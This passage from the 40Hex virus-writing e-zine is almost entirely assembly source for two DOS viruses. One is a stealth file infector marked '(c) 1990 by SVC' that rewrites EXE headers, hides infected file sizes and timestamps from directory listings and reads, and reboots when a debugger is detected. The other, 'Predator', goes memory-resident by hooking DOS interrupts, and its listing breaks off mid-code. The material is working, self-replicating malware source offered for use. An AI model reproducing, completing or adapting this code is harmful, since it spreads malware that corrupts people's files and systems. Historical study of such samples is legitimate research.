||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h ; go to start of file
|
||
call callint21
|
||
jc writevirusandheader_exit
|
||
mov dx,offset workbuffer ; write new header to file
|
||
mov ah,40h
|
||
mov cx,18h
|
||
call callint21
|
||
retn
|
||
writevirusandheader_exit:
|
||
stc
|
||
retn
|
||
|
||
infect_handle_EXE:
|
||
xor cx,cx ; go to end of file
|
||
xor dx,dx
|
||
mov ax,4202h
|
||
call callint21
|
||
push dx ; save file size
|
||
push ax
|
||
mov si,ax
|
||
xor ax,ax
|
||
xchg ax,dx
|
||
mov di,1000h
|
||
mul di
|
||
mov dx,ax
|
||
mov ax,si
|
||
mov si,dx
|
||
xor dx,dx
|
||
mov di,10h ; convert to paragraphs
|
||
div di
|
||
add ax,si
|
||
xchg ax,dx
|
||
sub dx,cs:workbuffer+8 ; subtract header size
|
||
mov word ptr cs:workbuffer+16h,dx ; insert new initial
|
||
mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
|
||
pop ax
|
||
pop dx
|
||
add ax,viruslength ; calculate new image
|
||
adc dx,0 ; size mod 512 and div 512
|
||
mov di,200h
|
||
div di
|
||
cmp dx,0
|
||
je infect_handle_EXE_nofixup
|
||
add ax,1 ; pagelength fixup
|
||
infect_handle_EXE_nofixup:
|
||
mov cs:workbuffer+4,ax
|
||
mov cs:workbuffer+2,dx
|
||
mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP
|
||
mov word ptr cs:workbuffer+0Eh,ds
|
||
mov ax,word ptr cs:workbuffer+14h
|
||
add ax,17D7h
|
||
mov word ptr cs:workbuffer+10h,ax
|
||
call writevirusandheader ; write virus to file
|
||
jmp short infect_handle_finish
|
||
nop
|
||
infect_handle_error:
|
||
stc
|
||
infect_handle_finish:
|
||
mov ax,5701h ; restore file time/date
|
||
mov cx,cs:filetime
|
||
mov dx,cs:filedate
|
||
jc infect_handle_noreset
|
||
and cx,0FFFEh ; but set seconds to
|
||
or cx,1Eh ; 60
|
||
mov byte ptr cs:tickcount,0 ; reset tickcount
|
||
infect_handle_noreset:
|
||
call callint21
|
||
retn
|
||
|
||
int23:
|
||
iret
|
||
int24:
|
||
mov al,3
|
||
iret
|
||
|
||
load_noexecute_exit:
|
||
jmp load_noexecute_closeexit
|
||
load_noexecute:
|
||
call setint24and23
|
||
push ds
|
||
push dx
|
||
mov ax,4300h ; get file attributes
|
||
call callint21
|
||
jc load_noexecute_exit
|
||
mov cs:fileattr,cx
|
||
and cl,0FEh ; turn off r/o bit
|
||
mov ax,4301h ; reset attributes
|
||
call callint21
|
||
jc load_noexecute_exit
|
||
mov ax,3D02h ; open file read/write
|
||
call callint21
|
||
jc load_noexecute_exit
|
||
mov bx,ax ; handle to bx
|
||
call checkifinfected
|
||
jc load_noexecute_exit
|
||
jmp short load_noexecute_disinfect
|
||
nop
|
||
checkifinfected_exit:
|
||
stc ; mark infected
|
||
retn ; and exit
|
||
|
||
checkifinfected:
|
||
mov ax,5700h ; get file time/date
|
||
call callint21
|
||
mov cs:filedate,dx
|
||
mov cs:filetime,cx
|
||
and cx,1Fh
|
||
cmp cx,1Eh
|
||
jne checkifinfected_exit
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4202h ; go to end of file
|
||
call callint21
|
||
jc checkifinfected_exit
|
||
mov cs:filesizelo,ax ; save filesize
|
||
mov cs:filesizehi,dx
|
||
sub ax,endvirus - infection_marker
|
||
sbb dx,0
|
||
mov cx,ax
|
||
xchg cx,dx
|
||
mov ax,4200h ; rewind to infection
|
||
call callint21 ; marker
|
||
jc checkifinfected_exit
|
||
push cs
|
||
pop ds
|
||
mov ah,3Fh ; read file
|
||
mov cx,3
|
||
mov dx,offset savebuffer
|
||
call callint21
|
||
jc checkifinfected_exit
|
||
push cs
|
||
pop es
|
||
mov si,offset savebuffer ; check for infection
|
||
mov di,offset infection_marker
|
||
mov cx,3 ; marker
|
||
repne cmpsb
|
||
jnz checkifinfected_exit
|
||
clc ; mark not infected
|
||
retn ; and exit
|
||
|
||
load_noexecute_disinfect:
|
||
call disinfect
|
||
jmp load_noexecute_closeexit
|
||
|
||
disinfect_exit:
|
||
jmp disinfect_error
|
||
disinfect:
|
||
mov dx,cs:filesizelo
|
||
mov cx,cs:filesizehi
|
||
sub dx,75h ; go to savebuffer
|
||
nop
|
||
sbb cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
jc disinfect_exit
|
||
jmp short disinfect_file
|
||
nop
|
||
|
||
jmp load_noexecute_closeexit
|
||
disinfect_file:
|
||
push cs
|
||
pop ds
|
||
mov ah,3Fh ; Read carrier's
|
||
mov cx,18h ; original header
|
||
mov dx,offset savebuffer
|
||
push cs
|
||
pop ds
|
||
call callint21
|
||
jc disinfect_exit
|
||
mov dx,cs:filesizelo ; go to decryption
|
||
mov cx,cs:filesizehi ; values
|
||
sub dx,endvirus - encryptval1
|
||
nop
|
||
sbb cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
mov dx,offset encryptval1
|
||
mov ah,3Fh ; read decryption values
|
||
mov cx,2
|
||
call callint21
|
||
mov si,offset savebuffer
|
||
mov ah,byte ptr cs:encryptval1
|
||
mov dh,byte ptr cs:encryptval2
|
||
call decrypt ; decrypt old header
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h
|
||
call callint21
|
||
jc disinfect_error
|
||
mov ah,40h ; Write old header to
|
||
mov cx,18h ; file
|
||
mov dx,offset savebuffer
|
||
call callint21
|
||
jc disinfect_error
|
||
mov dx,cs:filesizelo
|
||
mov cx,cs:filesizehi
|
||
sub dx,viruslength
|
||
sbb cx,0 ; go to end of carrier
|
||
mov ax,4200h ; file and
|
||
call callint21
|
||
jc disinfect_error
|
||
mov ah,40h ; truncate file
|
||
xor cx,cx ; at current position
|
||
call callint21
|
||
jc disinfect_error
|
||
mov ax,5701h ; restore file time/date
|
||
mov dx,cs:filedate
|
||
mov cx,cs:filetime
|
||
xor cx,1Fh
|
||
call callint21
|
||
retn
|
||
disinfect_error:
|
||
stc ; mark error
|
||
retn
|
||
|
||
load_noexecute_closeexit:
|
||
mov ah,3Eh ; Close file and
|
||
call callint21
|
||
mov ax,4301h ; restore attributes
|
||
mov cx,offset fileattr ; BUG!!!
|
||
pop dx
|
||
pop ds
|
||
call callint21
|
||
call restoreint24and23
|
||
jmp exitint21
|
||
|
||
FCBfindfirstnext:
|
||
call dword ptr cs:oldint21 ; prechain
|
||
pushf
|
||
pop cs:returnFlags
|
||
cmp al,0FFh
|
||
je FCBfindfirstnext_exit
|
||
cmp cs:chkdskflag,0
|
||
jne FCBfindfirstnext_exit
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
mov ah,2Fh ; Get DTA
|
||
call callint21
|
||
cmp word ptr es:[bx],0FFh ; extended FCB?
|
||
jne FCBfindfirstnext_noextendedFCB
|
||
add bx,8 ; convert if so
|
||
FCBfindfirstnext_noextendedFCB:
|
||
mov ax,es:[bx+16h]
|
||
and ax,1Fh ; check if seconds = 60
|
||
cmp ax,1Eh
|
||
jne FCBfindfirstnext_notinfected
|
||
xor word ptr es:[bx+16h],1Fh; fix seconds field
|
||
sub word ptr es:[bx+1Ch],viruslength
|
||
sbb word ptr es:[bx+1Eh],0 ; shrink size
|
||
FCBfindfirstnext_notinfected:
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
FCBfindfirstnext_exit:
|
||
pop cs:storesIP
|
||
pop cs:storesCS
|
||
popf
|
||
push cs:returnFlags
|
||
push cs:storesCS
|
||
push cs:storesIP
|
||
iret
|
||
|
||
ASCIIfindfirstnext:
|
||
call dword ptr cs:oldint21 ; prechain
|
||
pushf
|
||
pop cs:returnFlags
|
||
jc ASCIIfindfirstnext_exit
|
||
cmp cs:chkdskflag,0
|
||
jne ASCIIfindfirstnext_exit
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
mov ah,2Fh ; Get DTA
|
||
call callint21
|
||
mov ax,es:[bx+16h] ; get file time
|
||
and ax,1Fh ; to check if file
|
||
cmp ax,1Eh ; infected
|
||
jne ASCIIfindfirstnext_notinfected
|
||
xor word ptr es:[bx+16h],1Fh ; hide time change
|
||
sub word ptr es:[bx+1Ah],viruslength; and file length
|
||
sbb word ptr es:[bx+1Ch],0 ; change
|
||
ASCIIfindfirstnext_notinfected:
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ASCIIfindfirstnext_exit:
|
||
pop cs:storesIP
|
||
pop cs:storesCS
|
||
popf
|
||
push cs:returnFlags
|
||
push cs:storesCS
|
||
push cs:storesIP
|
||
iret
|
||
handleopen:
|
||
call check_infectok
|
||
jnc handleopen_continue
|
||
jmp exitint21
|
||
|
||
check_infectok:
|
||
cld
|
||
mov si,dx
|
||
lodsw
|
||
cmp ah,':'
|
||
jne check_infectok_nodrive
|
||
cmp al,'a' ; make sure not floppy
|
||
je check_infectok_exit
|
||
cmp al,'A'
|
||
je check_infectok_exit
|
||
cmp al,'B'
|
||
jb check_infectok_exit ; BUG
|
||
cmp al,'b'
|
||
je check_infectok_exit
|
||
jmp short check_extension
|
||
nop
|
||
check_infectok_exit:
|
||
jmp short check_extension_notok
|
||
nop
|
||
check_infectok_nodrive:
|
||
mov ah,19h ; get default drive
|
||
call callint21
|
||
cmp al,2 ; make sure not floppy
|
||
jae check_extension
|
||
jmp short check_extension_notok
|
||
db 90h
|
||
|
||
check_extension:
|
||
cld
|
||
mov si,dx
|
||
check_extension_findextension:
|
||
lodsb
|
||
cmp al,'.'
|
||
je check_extension_foundextension
|
||
cmp al,0
|
||
jne check_extension_findextension
|
||
jmp short check_extension_notok
|
||
db 90h
|
||
check_extension_foundextension:
|
||
lodsw
|
||
cmp ax,'OC'
|
||
je check_extension_checkcom
|
||
cmp ax,'oc'
|
||
je check_extension_checkcom
|
||
cmp ax,'XE'
|
||
je check_extension_checkexe
|
||
cmp ax,'xe'
|
||
je check_extension_checkexe
|
||
jmp short check_extension_notok
|
||
db 90h
|
||
check_extension_checkcom:
|
||
lodsb
|
||
cmp al,'M'
|
||
je check_extension_ok
|
||
cmp al,'m'
|
||
je check_extension_ok
|
||
jmp short check_extension_notok
|
||
db 90h
|
||
check_extension_checkexe:
|
||
lodsb
|
||
cmp al,'E'
|
||
je check_extension_ok
|
||
cmp al,'e'
|
||
je check_extension_ok
|
||
jmp short check_extension_notok
|
||
db 90h
|
||
check_extension_ok:
|
||
clc
|
||
retn
|
||
check_extension_notok:
|
||
stc
|
||
retn
|
||
|
||
handleopen_continue:
|
||
call infectdsdx
|
||
call restoreint24and23
|
||
jmp exitint21
|
||
handlecreate:
|
||
mov word ptr cs:storess,ss ; preserve ss and sp
|
||
mov word ptr cs:storesp,sp
|
||
call dword ptr cs:oldint21
|
||
cli
|
||
mov ss,word ptr cs:storess
|
||
mov sp,word ptr cs:storesp
|
||
sti
|
||
pop cs:returnFlags ; save return flags
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push ds
|
||
push es
|
||
push si
|
||
push di
|
||
jc handlecreate_exit
|
||
push dx
|
||
push ax
|
||
call check_extension
|
||
pop ax
|
||
pop dx
|
||
jc handlecreate_exit
|
||
push ax
|
||
call check_command_com
|
||
pop ax
|
||
jc handlecreate_exit
|
||
mov cs:handletoinfect,ax ; save handle to infect
|
||
; upon close
|
||
handlecreate_exit:
|
||
pop di
|
||
pop si
|
||
pop es
|
||
pop ds
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
jmp exit_replaceflags
|
||
handleclose_exit:
|
||
mov cs:filehand,0
|
||
jmp exitint21
|
||
|
||
handleclose:
|
||
cmp bx,0
|
||
jne handleclose_continue
|
||
jmp exitint21
|
||
handleclose_continue:
|
||
cmp bx,cs:handletoinfect
|
||
je handleclose_infect
|
||
cmp bx,cs:filehand
|
||
je handleclose_exit
|
||
jmp exitint21
|
||
handleclose_infect:
|
||
mov ah,45h ; Duplicate file handle
|
||
call callint21
|
||
jc handleclose_infect_exit
|
||
xchg ax,bx
|
||
call setint24and23
|
||
call handleclose_infecthandle
|
||
call restoreint24and23
|
||
handleclose_infect_exit:
|
||
mov cs:handletoinfect,0
|
||
jmp exitint21
|
||
|
||
handleclose_infecthandle:
|
||
push ds
|
||
push dx
|
||
jmp infecthandle
|
||
|
||
int8:
|
||
push ax
|
||
push ds
|
||
pushf
|
||
cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
|
||
je int8checkint1
|
||
inc cs:tickcount ; one mo tick
|
||
int8checkint1:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cmp word ptr ds:1*4,offset int1 ; int 1 changed?
|
||
jne int8setint1 ; fix it if so
|
||
mov ax,cs
|
||
cmp word ptr ds:1*4+2,ax
|
||
jne int8setint1
|
||
int8checkint3:
|
||
cmp word ptr ds:3*4,offset int3 ; int 3 changed?
|
||
jne int8setint3 ; fix it if so
|
||
mov ax,cs
|
||
cmp word ptr ds:3*4+2,ax
|
||
jne int8setint3
|
||
exitint8:
|
||
popf
|
||
pop ds
|
||
pop ax
|
||
jmp dword ptr cs:oldint8
|
||
|
||
int8setint1:
|
||
push es
|
||
les ax,dword ptr ds:1*4
|
||
mov cs:oldint1,ax
|
||
mov word ptr cs:oldint1+2,es
|
||
mov word ptr ds:1*4,offset int1
|
||
mov word ptr ds:1*4+2,cs
|
||
pop es
|
||
jmp short int8checkint3
|
||
int8setint3:
|
||
push es
|
||
les ax,dword ptr ds:3*4
|
||
mov cs:oldint3,ax
|
||
mov word ptr cs:oldint3+2,es
|
||
mov word ptr ds:3*4,offset int3
|
||
mov word ptr ds:3*4+2,cs
|
||
pop es
|
||
jmp short exitint8
|
||
|
||
int3: ; reboot if debugger
|
||
push bp ; is active
|
||
push ax
|
||
mov bp,sp
|
||
add bp,6
|
||
mov bp,[bp]
|
||
mov ax,cs
|
||
cmp bp,ax
|
||
pop ax
|
||
pop bp
|
||
jz reboot
|
||
jmp dword ptr cs:oldint3
|
||
|
||
exitint1:
|
||
iret
|
||
|
||
int1:
|
||
push bp ; this routine doesn't
|
||
push ax ; do very much that's
|
||
mov bp,sp ; meaningful
|
||
add bp,6
|
||
mov bp,[bp]
|
||
mov ax,cs
|
||
cmp bp,ax
|
||
pop ax
|
||
pop bp
|
||
jz exitint1
|
||
jmp dword ptr cs:oldint1
|
||
reboot:
|
||
db 0EAh ; jmp F000:FFF0
|
||
db 0F0h, 0FFh, 0, 0F0h ; (reboot)
|
||
|
||
decrypt:
|
||
push bx
|
||
push es
|
||
call decrypt_next
|
||
decrypt_next:
|
||
pop bx
|
||
mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
|
||
nop
|
||
mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh
|
||
nop
|
||
push ds
|
||
pop es
|
||
mov di,si
|
||
mov cx,18h
|
||
cld
|
||
decrypt_loop:
|
||
lodsb
|
||
db 0FFh, 0C4h ; inc sp
|
||
stosb
|
||
db 0, 0E6h ; add dh,ah
|
||
loop decrypt_loop
|
||
|
||
mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp
|
||
mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why?
|
||
pop es
|
||
pop bx
|
||
retn
|
||
|
||
handlegoEOF:
|
||
popf
|
||
cmp cs:filehand,bx ; currently working on this?
|
||
jne handlegoEOFexit
|
||
mov cs:tempstoreDX,dx ; save offset from EOF
|
||
mov cs:tempstoreCX,cx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21 ; go to EOF
|
||
sub ax,viruslength ; shrink to carrier size
|
||
sbb dx,0
|
||
mov cx,ax
|
||
xchg cx,dx
|
||
add dx,cs:tempstoreDX ; add offset from carrier
|
||
adc cx,cs:tempstoreCX ; EOF
|
||
mov ax,4200h ; and do it
|
||
handlegoEOFexit:
|
||
jmp dword ptr cs:oldint21
|
||
|
||
handleopen2:
|
||
call dword ptr cs:oldint21
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push di
|
||
push si
|
||
push ds
|
||
push es
|
||
jc handleopen2_exit
|
||
cmp cs:filehand,0
|
||
jne handleopen2_exit
|
||
push ax
|
||
mov bx,ax
|
||
call checkifinfected
|
||
pop ax
|
||
jc handleopen2_alreadyinfected
|
||
mov cs:filehand,ax ; save file handle for
|
||
mov bx,ax ; later use
|
||
mov ax,4202h ; go to end of file
|
||
xor cx,cx ; to find file size
|
||
xor dx,dx
|
||
call callint21
|
||
sub ax,viruslength ; calculate carrier
|
||
sbb dx,0 ; size and store it
|
||
mov cs:carrierEOFhi,dx
|
||
mov cs:carrierEOFlo,ax
|
||
handleopen2_alreadyinfected:
|
||
xor cx,cx ; go to start of file
|
||
xor dx,dx
|
||
mov ax,4200h
|
||
call callint21
|
||
handleopen2_exit:
|
||
pop es
|
||
pop ds
|
||
pop si
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
exit_replaceflags:
|
||
popf
|
||
pop cs:storesIP
|
||
pop cs:storesCS
|
||
pop cs:returnFlags
|
||
pushf
|
||
push cs:storesCS
|
||
push cs:storesIP
|
||
iret
|
||
handleread_exit:
|
||
jmp handleread__exit
|
||
|
||
handleread:
|
||
call dword ptr cs:oldint21 ; prechain
|
||
pushf
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push di
|
||
push si
|
||
push es
|
||
jc handleread_exit ; exit on error
|
||
cmp cs:filehand,0
|
||
je handleread_exit
|
||
cmp cs:filehand,bx
|
||
jne handleread_exit
|
||
mov cs:bufferoff,dx
|
||
mov cs:bufferseg,ds
|
||
mov cs:bytesread,ax
|
||
xor cx,cx ; get current file position
|
||
xor dx,dx
|
||
mov ax,4201h
|
||
call callint21
|
||
jc handleread_exit
|
||
sub ax,cs:bytesread ; find pre-read location
|
||
sbb dx,0 ; to see if need to
|
||
mov cs:origposhi,dx ; redirect it
|
||
mov cs:origposlo,ax
|
||
mov ax,4202h ; go to end of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21
|
||
sub ax,viruslength
|
||
sbb dx,0
|
||
mov cs:carrierEOFlo,ax
|
||
mov cs:carrierEOFhi,dx
|
||
cmp cs:origposhi,0 ; check if read was
|
||
jne handleread_notinheader ; from the header
|
||
cmp cs:origposlo,18h
|
||
jb handleread_inheader
|
||
handleread_notinheader:
|
||
mov cx,cs:origposhi ; check if read extended
|
||
mov dx,cs:origposlo ; into the virus
|
||
add dx,cs:bytesread
|
||
adc cx,0
|
||
cmp cx,cs:carrierEOFhi
|
||
jb handleread_notinvirus
|
||
ja handleread_invirus
|
||
cmp dx,cs:carrierEOFlo
|
||
ja handleread_invirus
|
||
handleread_notinvirus:
|
||
mov cx,cs:origposhi ; return to proper file
|
||
mov dx,cs:origposlo ; position
|
||
add dx,cs:bytesread
|
||
adc cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
handleread__exit:
|
||
pop es
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
jmp exit_replaceflags
|
||
handleread_invirus:
|
||
jmp handleread__invirus
|
||
handleread_inheader:
|
||
cmp cs:bytesread,0
|
||
je handleread_notinheader
|
||
mov cx,cs:carrierEOFhi
|
||
mov dx,cs:carrierEOFlo
|
||
add dx,offset savebuffer
|
||
adc cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
jc handleread_notinheader
|
||
push ds
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov dx,offset savebuffer
|
||
mov ah,3Fh ; Read header
|
||
mov cx,18h
|
||
call callint21
|
||
jc handleread_notinheader
|
||
cmp ax,18h
|
||
jne handleread_notinheader
|
||
mov cx,cs:carrierEOFhi ; go to decryption values
|
||
mov dx,cs:carrierEOFlo
|
||
add dx,offset encryptval1
|
||
adc cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
mov ah,3Fh ; read decryption values
|
||
mov cx,2
|
||
mov dx,offset encryptval1
|
||
call callint21
|
||
jc handleread_inheader_error
|
||
mov si,offset savebuffer
|
||
mov ah,byte ptr cs:encryptval1
|
||
mov dh,byte ptr cs:encryptval2
|
||
call decrypt
|
||
mov cx,cs:origposlo
|
||
neg cx
|
||
add cx,18h
|
||
cmp cx,cs:bytesread
|
||
jb handleread_inheader_noadjust
|
||
mov cx,cs:bytesread
|
||
handleread_inheader_noadjust:
|
||
mov si,offset savebuffer ; copy previously read
|
||
add si,cs:origposlo ; stuff if necessary
|
||
mov di,cs:bufferoff
|
||
mov es,cs:bufferseg
|
||
cld
|
||
cmp cx,0
|
||
je handleread_inheader_nomove
|
||
rep movsb
|
||
handleread_inheader_nomove:
|
||
jmp handleread_notinheader
|
||
handleread_inheader_error:
|
||
jmp handleread_notinheader
|
||
handleread__invirus:
|
||
mov cx,cs:origposhi
|
||
cmp cx,cs:carrierEOFhi
|
||
ja handleread__invirus_gocarrierEOF
|
||
jc handleread__invirus_readpart
|
||
mov cx,cs:origposlo
|
||
cmp cx,cs:carrierEOFlo
|
||
jb handleread__invirus_readpart
|
||
handleread__invirus_gocarrierEOF:
|
||
mov cx,cs:origposhi
|
||
mov dx,cs:origposlo
|
||
mov ax,4200h
|
||
call callint21
|
||
xor ax,ax
|
||
handleread__invirus_exit:
|
||
pop es
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop cs:returnFlags
|
||
jmp exit_replaceflags
|
||
handleread__invirus_readpart:
|
||
mov cx,cs:carrierEOFhi ; read portion of
|
||
mov dx,cs:carrierEOFlo ; file up to virus
|
||
mov ax,4200h
|
||
call callint21
|
||
sub ax,cs:origposlo
|
||
jmp short handleread__invirus_exit
|
||
handlewrite:
|
||
cmp bx,0
|
||
je handlewrite_exit
|
||
cmp bx,cs:filehand
|
||
jne handlewrite_exit
|
||
mov ax,4201h ; get current position
|
||
xor cx,cx ; in the file
|
||
xor dx,dx
|
||
call callint21
|
||
jc handlewrite_exit
|
||
mov cs:curposlo,ax
|
||
mov cs:curposhi,dx
|
||
mov ax,4202h ; go to end of file
|
||
xor cx,cx ; to find the filesize
|
||
xor dx,dx
|
||
call callint21
|
||
mov cs:filesizelo,ax
|
||
mov cs:filesizehi,dx
|
||
call disinfect ; disinfect the file
|
||
jc handlewrite_done
|
||
cmp cs:handletoinfect,0
|
||
jne handlewrite_done
|
||
mov cs:handletoinfect,bx
|
||
mov cs:filehand,0
|
||
handlewrite_done:
|
||
mov dx,cs:curposlo ; return to original
|
||
mov cx,cs:curposhi ; position
|
||
mov ax,4200h
|
||
call callint21
|
||
handlewrite_exit:
|
||
jmp exitint21
|
||
|
||
terminate:
|
||
mov cs:chkdskflag,0
|
||
jmp exitint21
|
||
|
||
check_chkdsk:
|
||
mov si,dx
|
||
cld
|
||
check_chkdsk_loop1:
|
||
lodsw
|
||
cmp ah,0
|
||
je check_chkdsk_exit
|
||
cmp ax,'HC'
|
||
je check_chkdsk_loop2
|
||
cmp ax,'hc'
|
||
je check_chkdsk_loop2
|
||
dec si
|
||
jmp short check_chkdsk_loop1
|
||
check_chkdsk_exit:
|
||
retn
|
||
check_chkdsk_loop2:
|
||
push si
|
||
lodsw
|
||
cmp ax,'DK'
|
||
pop si
|
||
jz check_chkdsk_found
|
||
cmp ax,'dk'
|
||
je check_chkdsk_found
|
||
dec si
|
||
jmp short check_chkdsk_loop1
|
||
check_chkdsk_found:
|
||
mov cs:chkdskflag,1
|
||
retn
|
||
|
||
getsetfiletime:
|
||
cmp al,0 ; get file tiem?
|
||
jne getsetfiletime_exit ; nope, exit
|
||
call dword ptr cs:oldint21 ; prechain
|
||
pushf
|
||
and cx,1Eh ; if (seconds == 60)
|
||
cmp cx,1Eh ; then xor with 60h
|
||
jne getsetfiletime_nofix ; to hide the change
|
||
xor cx,1Eh ; otherwise, don't
|
||
getsetfiletime_nofix:
|
||
jmp exit_replaceflags
|
||
getsetfiletime_exit:
|
||
popf
|
||
jmp dword ptr cs:oldint21
|
||
|
||
db '(c) 1990 by SVC,Vers. '
|
||
|
||
|
||
|
||
infection_marker db '5.0 ',0
|
||
|
||
begindata:
|
||
oldint1 dw 0, 0
|
||
oldint3 dw 0, 0
|
||
oldint8 dw 0, 0
|
||
oldint21 dw 0, 0
|
||
savebuffer dw 20CDh
|
||
dw 11 dup (0)
|
||
tickcount db 0
|
||
carrierPSP dw 0
|
||
origposlo dw 0
|
||
origposhi dw 0
|
||
carrierEOFlo dw 0
|
||
carrierEOFhi dw 0
|
||
bytesread dw 0
|
||
bufferoff dw 0
|
||
bufferseg dw 0
|
||
tempstoreCX dw 0
|
||
tempstoreDX dw 0
|
||
filehand dw 0
|
||
fileattr dw 0
|
||
filetime dw 0
|
||
filedate dw 0
|
||
chkdskflag dw 0
|
||
oldint24 dw 0, 0
|
||
oldint23 dw 0, 0
|
||
handletoinfect dw 0
|
||
storesIP dw 0
|
||
storesCS dw 0
|
||
returnFlags dw 0
|
||
filesizelo dw 0
|
||
filesizehi dw 0
|
||
curposlo dw 0
|
||
curposhi dw 0
|
||
workbuffer dw 12 dup (0)
|
||
storeAX dw 0
|
||
db 0
|
||
storess dw 0
|
||
storesp dw 0
|
||
int21command dw 0
|
||
encryptval1 db 0
|
||
encryptval2 db 0
|
||
dw 1990h ; written 1990
|
||
versionbyte db 50h ; version 5.0
|
||
|
||
endvirus = $
|
||
viruslength = $ - start
|
||
end start
|
||
-------------------------------------------------------------------------------
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 008
|
||
|
||
Predator
|
||
|
||
Predator is a virus written by Phalcon/Skism's newest member, Priest. It
|
||
incorporates a number of stealth features. It infects only COM files.
|
||
Predator uses the "Century" technique of marking a virus infection; file dates
|
||
are bumped up 100 years to designate an infection.
|
||
|
||
--Predator Source Code---------------------------------------------------------
|
||
CSEG SEGMENT
|
||
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
|
||
ORG 0h
|
||
|
||
; Source code of the Predator
|
||
|
||
; Priest
|
||
|
||
|
||
Its_Me equ 'IM'
|
||
|
||
Read_Only equ 1
|
||
|
||
Mem_Size equ offset Finish-offset Virus_Start ;amount of memory needed
|
||
|
||
Virus_Size equ offset Virus_End-offset Virus_Start ;size of virus
|
||
New_Virus_Size equ offset Finish-offset New_Virus ;size of virus w/
|
||
;encryption
|
||
|
||
|
||
Hundred_Years equ 0c8h
|
||
|
||
Version equ 30h ;Get DOS Version
|
||
Open equ 3dh ;Open File
|
||
Ext_Open equ 6ch ;Extended Open File
|
||
Execute equ 4bh ;Execute
|
||
Find_FCB equ 11h ;Find File Control Block
|
||
Find_FCB_Next equ 12h ;Find next FCB
|
||
Open_FCB equ 0fh ;Open FCB
|
||
Get_DTA equ 2fh ;Get DTA address
|
||
Find_Dir equ 4eh ;Find file
|
||
Find_Dir_Next equ 4fh ;Find next file
|
||
|
||
Attribute equ 1 ;infection flags
|
||
Opened equ 2
|
||
Written equ 4
|
||
|
||
Extended_FCB equ 0ffh ;Extended FCB will have the first
|
||
;byte equal to FFh
|
||
|
||
Virus_Start: mov sp,bp ;restore Stack after decryption
|
||
sti ;interrupts on
|
||
mov ah,Version
|
||
mov bx,Its_Me
|
||
int 21h ;Check if already resident
|
||
cmp ax,Its_Me
|
||
jne Go_Res
|
||
Jump_R_F: jmp Return_File
|
||
Go_Res: mov ax,cs
|
||
dec ax ;get segment of this MCB
|
||
MCB_ds: mov ds,ax
|
||
cmp byte ptr ds:[0],'Z' ;must be last Memory Control Block
|
||
jne Jump_R_F
|
||
Found_last_MCB: mov ax,Mem_Size ;Reserve enough for virus + data
|
||
mov cl,4h
|
||
shr ax,cl ;convert to paragraphs
|
||
inc ax
|
||
push ax
|
||
dec ax
|
||
shr ax,cl
|
||
shr cl,1
|
||
shr ax,cl ;convert to kilobytes
|
||
inc ax
|
||
push ds
|
||
xor bx,bx
|
||
mov ds,bx
|
||
sub word ptr ds:[413h],ax ;take memory from int 12
|
||
pop ds
|
||
pop ax
|
||
sub word ptr ds:[0003h],ax ;take it from availible memory
|
||
mov ax,cs
|
||
add ax,ds:[0003h] ;get segment of free memory
|
||
mov es,ax
|
||
push cs
|
||
pop ds
|
||
call $+3 ;next 3 instructions find Virus_Start
|
||
pop si
|
||
sub si,(offset $-1)-offset Virus_Start
|
||
xor di,di
|
||
mov cx,Mem_Size
|
||
cld
|
||
rep movsb ;copy us to High Memory
|
||
push es
|
||
mov ax,offset High_Start
|
||
push ax
|
||
retf ;jump up there
|
||
|
||
Virus_Name: db 'Predator virus '
|
||
Copyright: db '(c) Mar. 93 '
|
||
Me: db 'Priest'
|
||
|
||
File_Bytes db 0cdh, 20h, 0h ;first 3 bytes of infected .com file
|
||
|
||
Com_Spec: db '.COM',0h ;only .com files can be infected
|
||
|
||
High_Start: push cs
|
||
pop ds
|
||
mov ax,3521h ;get address of Int 21
|
||
int 21h
|
||
mov word ptr ds:[Int_21],bx ;save it
|
||
mov word ptr ds:[Int_21+2h],es
|
||
mov al,13h ;get address of Int 13
|
||
int 21h
|
||
mov word ptr ds:[Int_13],bx ;save it
|
||
mov word ptr ds:[Int_13+2h],es
|
||
mov ah,25h ;point Int 13 to our handler
|
||
mov dx,offset New_13
|
||
int 21h
|
||
mov al,21h ;21h too
|
||
mov dx,offset New_21
|
||
int 21h
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[46ch] ;get a random number for
|
||
push cs ; activation task
|
||
pop ds
|
||
xchg al,ah
|
||
add word ptr ds:[Count_Down],ax ;Save it for count down
|
||
Return_File: push ss
|
